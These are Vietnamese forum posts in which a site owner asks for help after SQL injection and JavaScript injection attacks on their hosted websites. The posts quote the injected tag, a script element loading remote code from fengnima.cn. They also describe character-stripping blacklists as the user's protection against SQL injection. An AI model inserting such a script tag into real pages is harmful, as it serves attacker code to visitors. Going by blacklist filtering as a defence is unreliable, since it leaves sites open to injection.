Messages posted by: thuypv

ac ac, tìm quyển sách trên khó ghê, vào đâu cũng bắt mua, hoặc là đường link sai ko download được, hoặc bắt đang ký rồi mới cho download đăng ký song vào download thì ko download được ac ac smilie

ok, mình cám ơn các bạn đã quan tâm tới câu hỏi của mình và góp ý kiến cho mình nha, mình sẽ cố gắng khắc phục sự cố, các bạn có ý kiến gì thì cho mình biết thêm nha, cám ơn các bạn rất nhiều

vâng mình rất cám ơn ban lamer, mình sẽ kiểm tra lại, mong các bạn có ý kiến gì khác nữa để mình tham khảo và có thêm kinh nghiệm vá các lỗ hổng, các bạn có thể cho mình biết là nếu là sqlinjection thì mình đã loại trừ tất cả các ký tự đặc biệt rồi sao mà họ vẫn dùng được, mình tham khảo rất nhiều trang nói về cách khắc phục sqlinjection, các bạn có thể cho mình biết các ký tự đặc biết nữa được ko? hiện tại bất kỳ biến gì mình thu được mình đều qua xử lý trước khi cho vao câu lệnh sql, có phải lỗi này do server ko các bạn hoặc có 1 đồng chí virut nào đó trên server, và cho mình hỏi thêm 1 chút, khoảng 1 tháng trước trang của mình cũng bị chèn thêm 1 đoạn mã javascript vào tất cả các trang có tên là index, default, home, bất kỳ trang nào có tên như thế thì đều bị thêm 1 đoạn javascript vào cuối cùng của trang cho mình hỏi đó có phải là cách tấn công XSS ko ạ, mình cám ơn các bạn rất nhiều

các bạn cho tôi hỏi 1 chút, trang web của tôi thuê host của PAVietNam, hiện mới đây web site của tôi bị hack, bị thêm 1 đoạn mã javascript có nội dung là <script src=http://www.fengnima.cn/k.js></script> vào tất cả các bản ghi của tất cả các bảng dữ liệu mà có trường dữ liệu kiểu nvarchar, ntext, varchar, ... khi lập trình mọi đầu vào tôi đều rất cẩn thận bắt sqlinject tion như loại trừ các kỹ tự "'","[", "--", hiện tại thì tôi cũng ko biết nguyên nhân dẫn đến tình trạng trên là do đâu, vì 1 vài website của tôi bị liên tục hết cái này bị khắc phục song lại cái khác mà cùng đặt trên 1 server, rất mong có bạn nào biết thì chỉ cho tôi biết, tôi cám ơn các bạn rất nhiều